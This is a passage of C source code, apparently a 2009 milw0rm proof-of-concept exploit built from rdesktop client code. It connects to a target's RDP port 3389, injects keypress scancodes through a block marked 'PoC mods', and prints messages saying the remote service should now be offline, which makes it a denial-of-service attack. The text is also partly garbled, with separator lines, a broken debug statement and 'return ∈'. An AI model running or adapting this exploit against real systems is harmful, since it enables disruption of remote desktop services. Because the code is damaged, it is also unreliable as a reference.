|
|
|
if (length <= 4)
|
|
return;
|
|
|
|
next_tag = s->p + length - 4;
|
|
|
|
switch (tag)
|
|
{
|
|
case SEC_TAG_SRV_INFO:
|
|
case SEC_TAG_SRV_3:
|
|
break;
|
|
|
|
case SEC_TAG_SRV_CRYPT:
|
|
sec_process_crypt_info(s);
|
|
break;
|
|
}
|
|
|
|
s->p = next_tag;
|
|
}
|
|
}
|
|
|
|
/* Receive secure transport packet */
|
|
STREAM
|
|
sec_recv(void)
|
|
{
|
|
uint32 sec_flags;
|
|
STREAM s;
|
|
|
|
while ((s = mcs_recv()) != NULL)
|
|
{
|
|
if (encryption || !licence_issued)
|
|
{
|
|
in_uint32_le(s, sec_flags);
|
|
|
|
if (sec_flags & SEC_LICENCE_NEG)
|
|
{
|
|
licence_process(s);
|
|
continue;
|
|
}
|
|
|
|
if (sec_flags & SEC_ENCRYPT)
|
|
{
|
|
in_uint8s(s, 8); /* signature */
|
|
|
|
}
|
|
}
|
|
|
|
return s;
|
|
}
|
|
|
|
return NULL;
|
|
}
|
|
|
|
/* Establish a secure connection */
|
|
BOOL
|
|
sec_connect(char *server)
|
|
{
|
|
struct stream mcs_data;
|
|
|
|
/* We exchange some RDP data during the MCS-Connect */
|
|
mcs_data.size = 512;
|
|
mcs_data.p = mcs_data.data = xmalloc(mcs_data.size);
|
|
sec_out_mcs_data(&mcs_data);
|
|
|
|
if (!mcs_connect(server, &mcs_data))
|
|
return False;
|
|
|
|
sec_process_mcs_data(&mcs_data);
|
|
|
|
xfree(mcs_data.data);
|
|
return True;
|
|
}
|
|
|
|
/* Disconnect a connection */
|
|
void
|
|
sec_disconnect(void)
|
|
{
|
|
mcs_disconnect();
|
|
}
|
|
|
|
|
|
/* Initialise TCP transport data packet */
|
|
STREAM
|
|
tcp_init(int maxlen)
|
|
{
|
|
if (maxlen > out.size)
|
|
{
|
|
out.size = maxlen;
|
|
}
|
|
|
|
out.p = out.data;
|
|
out.end = out.data + out.size;
|
|
return &out;
|
|
}
|
|
|
|
/* Send TCP transport data packet */
|
|
void
|
|
tcp_send(STREAM s)
|
|
{
|
|
int length = s->end - s->data;
|
|
int sent, total = 0;
|
|
|
|
while (total < length)
|
|
{
|
|
sent = send(sock, s->data + total, length - total, 0);
|
|
if (sent <= 0)
|
|
{
|
|
fprintf(stderr, "\n[=] Check port 3389 on target host. It should be offline.\n\n");
|
|
return;
|
|
}
|
|
|
|
total += sent;
|
|
}
|
|
}
|
|
|
|
/* Receive a message on the TCP layer */
|
|
STREAM
|
|
tcp_recv(int length)
|
|
{
|
|
int rcvd = 0;
|
|
|
|
if (length > in.size)
|
|
{
|
|
|
|
in.size = length;
|
|
}
|
|
|
|
in.end = in.p = in.data;
|
|
|
|
while (length > 0)
|
|
{
|
|
if (!ui_select(sock))
|
|
/* User quit */
|
|
return NULL;
|
|
|
|
rcvd = recv(sock, in.end, length, 0);
|
|
if (rcvd == -1)
|
|
{
|
|
error("recv: %s", strerror(errno));
|
|
return NULL;
|
|
}
|
|
|
|
in.end += rcvd;
|
|
length -= rcvd;
|
|
}
|
|
|
|
return ∈
|
|
}
|
|
|
|
/* Establish a connection on the TCP layer */
|
|
BOOL
|
|
tcp_connect(char *server)
|
|
{
|
|
struct hostent *nslookup;
|
|
struct sockaddr_in servaddr;
|
|
int true = 1;
|
|
|
|
if ((nslookup = gethostbyname(server)) != NULL)
|
|
{
|
|
memcpy(&servaddr.sin_addr, nslookup->h_addr, sizeof(servaddr.sin_addr));
|
|
}
|
|
else if ((servaddr.sin_addr.s_addr = inet_addr(server)) == INADDR_NONE)
|
|
{
|
|
error("%s: unable to resolve host\n", server);
|
|
return False;
|
|
}
|
|
|
|
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
|
|
{
|
|
error("socket: %s\n", strerror(errno));
|
|
return False;
|
|
}
|
|
|
|
servaddr.sin_family = AF_INET;
|
|
servaddr.sin_port = htons(tcp_port_rdp);
|
|
|
|
if (connect(sock, (struct sockaddr *) &servaddr, sizeof(struct sockaddr)) < 0)
|
|
{
|
|
error("connect: %s\n", strerror(errno));
|
|
close(sock);
|
|
return False;
|
|
}
|
|
|
|
setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (void *) &true, sizeof(true));
|
|
|
|
in.size = 4096;
|
|
in.data = xmalloc(in.size);
|
|
|
|
out.size = 4096;
|
|
out.data = xmalloc(out.size);
|
|
|
|
return True;
|
|
}
|
|
|
|
/* Disconnect on the TCP layer */
|
|
void
|
|
tcp_disconnect(void)
|
|
{
|
|
fprintf(stderr, "\n[=] Done. Check port 3389 on the remote host.\n\n");
|
|
close(sock);
|
|
}
|
|
|
|
|
|
|
|
/* Returns 0 after user quit, 1 otherwise */
|
|
int
|
|
ui_select(int rdp_socket)
|
|
{
|
|
int n = (rdp_socket > x_socket) ? rdp_socket + 1 : x_socket + 1;
|
|
fd_set rfds;
|
|
|
|
|
|
|
|
// Begin PoC mods
|
|
XEvent xevent;
|
|
KeySym keysym;
|
|
uint32 ev_time;
|
|
key_translation tr;
|
|
if (ix-- >= 0)
|
|
{ return 1; }
|
|
ev_time = time(NULL);
|
|
handle_special_keys(keysym, xevent.xkey.state, ev_time, True);
|
|
tr = xkeymap_translate_key(keysym, xevent.xkey.keycode, xevent.xkey.state);
|
|
ensure_remote_modifiers(ev_time, tr);
|
|
rdp_send_scancode(ev_time, RDP_KEYPRESS, tr.scancode);
|
|
// End PoC mods
|
|
|
|
|
|
|
|
FD_ZERO(&rfds);
|
|
while (True)
|
|
{
|
|
/* Process any events already waiting */
|
|
|
|
// if (!xwin_process_events())
|
|
// /* User quit */
|
|
// return 0;
|
|
|
|
FD_ZERO(&rfds);
|
|
FD_SET(rdp_socket, &rfds);
|
|
FD_SET(x_socket, &rfds);
|
|
|
|
switch (select(n, &rfds, NULL, NULL, NULL))
|
|
{
|
|
case -1:
|
|
error("select: %s\n", strerror(errno));
|
|
|
|
case 0:
|
|
continue;
|
|
}
|
|
|
|
if (FD_ISSET(rdp_socket, &rfds))
|
|
return 1;
|
|
}
|
|
}
|
|
|
|
|
|
key_translation
|
|
xkeymap_translate_key(uint32 keysym, unsigned int keycode, unsigned int state)
|
|
{
|
|
key_translation tr = { 0, 0 };
|
|
|
|
tr = keymap[keysym & KEYMAP_MASK];
|
|
|
|
if (tr.modifiers & MapInhibitMask)
|
|
{
|
|
|
|
tr.scancode = 0;
|
|
return tr;
|
|
}
|
|
|
|
if (tr.modifiers & MapLocalStateMask)
|
|
{
|
|
/* The modifiers to send for this key should be obtained
|
|
from the local state. Currently, only shift is implemented. */
|
|
if (state & ShiftMask)
|
|
{
|
|
tr.modifiers = MapLeftShiftMask;
|
|
}
|
|
}
|
|
|
|
if (tr.scancode != 0)
|
|
{
|
|
return tr;
|
|
}
|
|
|
|
if (keymap_loaded)
|
|
|
|
|
|
/* not in keymap, try to interpret the raw scancode */
|
|
if ((keycode >= min_keycode) && (keycode <= 0x60))
|
|
{
|
|
tr.scancode = keycode - min_keycode;
|
|
|
|
/* The modifiers to send for this key should be
|
|
obtained from the local state. Currently, only
|
|
shift is implemented. */
|
|
if (state & ShiftMask)
|
|
{
|
|
tr.modifiers = MapLeftShiftMask;
|
|
}
|
|
|
|
|
|
}
|
|
else
|
|
{
|
|
|
|
}
|
|
|
|
return tr;
|
|
}
|
|
|
|
|
|
static void
|
|
update_modifier_state(uint8 scancode, BOOL pressed)
|
|
{
|
|
#ifdef WITH_DEBUG_KBD
|
|
uint16 old_modifier_state;
|
|
|
|
old_modifier_state = remote_modifier_state;
|
|
#endif
|
|
|
|
switch (scancode)
|
|
{
|
|
case SCANCODE_CHAR_LSHIFT:
|
|
MASK_CHANGE_BIT(remote_modifier_state, MapLeftShiftMask, pressed);
|
|
break;
|
|
case SCANCODE_CHAR_RSHIFT:
|
|
MASK_CHANGE_BIT(remote_modifier_state, MapRightShiftMask, pressed);
|
|
break;
|
|
case SCANCODE_CHAR_LCTRL:
|
|
MASK_CHANGE_BIT(remote_modifier_state, MapLeftCtrlMask, pressed);
|
|
break;
|
|
case SCANCODE_CHAR_RCTRL:
|
|
MASK_CHANGE_BIT(remote_modifier_state, MapRightCtrlMask, pressed);
|
|
break;
|
|
case SCANCODE_CHAR_LALT:
|
|
MASK_CHANGE_BIT(remote_modifier_state, MapLeftAltMask, pressed);
|
|
break;
|
|
case SCANCODE_CHAR_RALT:
|
|
MASK_CHANGE_BIT(remote_modifier_state, MapRightAltMask, pressed);
|
|
break;
|
|
case SCANCODE_CHAR_LWIN:
|
|
MASK_CHANGE_BIT(remote_modifier_state, MapLeftWinMask, pressed);
|
|
break;
|
|
case SCANCODE_CHAR_RWIN:
|
|
MASK_CHANGE_BIT(remote_modifier_state, MapRightWinMask, pressed);
|
|
break;
|
|
case SCANCODE_CHAR_NUMLOCK:
|
|
/* KeyReleases for NumLocks are sent immediately. Toggle the
|
|
modifier state only on Keypress */
|
|
if (pressed)
|
|
{
|
|
BOOL newNumLockState;
|
|
newNumLockState =
|
|
(MASK_HAS_BITS
|
|
(remote_modifier_state, MapNumLockMask) == False);
|
|
MASK_CHANGE_BIT(remote_modifier_state,
|
|
MapNumLockMask, newNumLockState);
|
|
}
|
|
break;
|
|
}
|
|
|
|
#ifdef WITH_DEBUG_KBD
|
|
if (old_modifier_state != remote_modifier_state)
|
|
{
|
|
|
|
old_modifier_state, pressed));
|
|
|
|
}
|
|
#endif
|
|
|
|
}
|
|
|
|
|
|
/* free */
|
|
void
|
|
xfree(void *mem)
|
|
{
|
|
free(mem);
|
|
}
|
|
|
|
/* report an error */
|
|
void
|
|
error(char *format, ...)
|
|
{
|
|
va_list ap;
|
|
|
|
fprintf(stderr, "[=] Error: ");
|
|
|
|
va_start(ap, format);
|
|
vfprintf(stderr, format, ap);
|
|
va_end(ap);
|
|
}
|
|
|
|
|
|
|
|
/* malloc; exit if out of memory */
|
|
void *
|
|
xmalloc(int size)
|
|
{
|
|
void *mem = malloc(size);
|
|
if (mem == NULL)
|
|
{
|
|
error("xmalloc %d\n", size);
|
|
exit(1);
|
|
}
|
|
return mem;
|
|
}
|
|
|
|
// milw0rm.com [2009-04-17]
|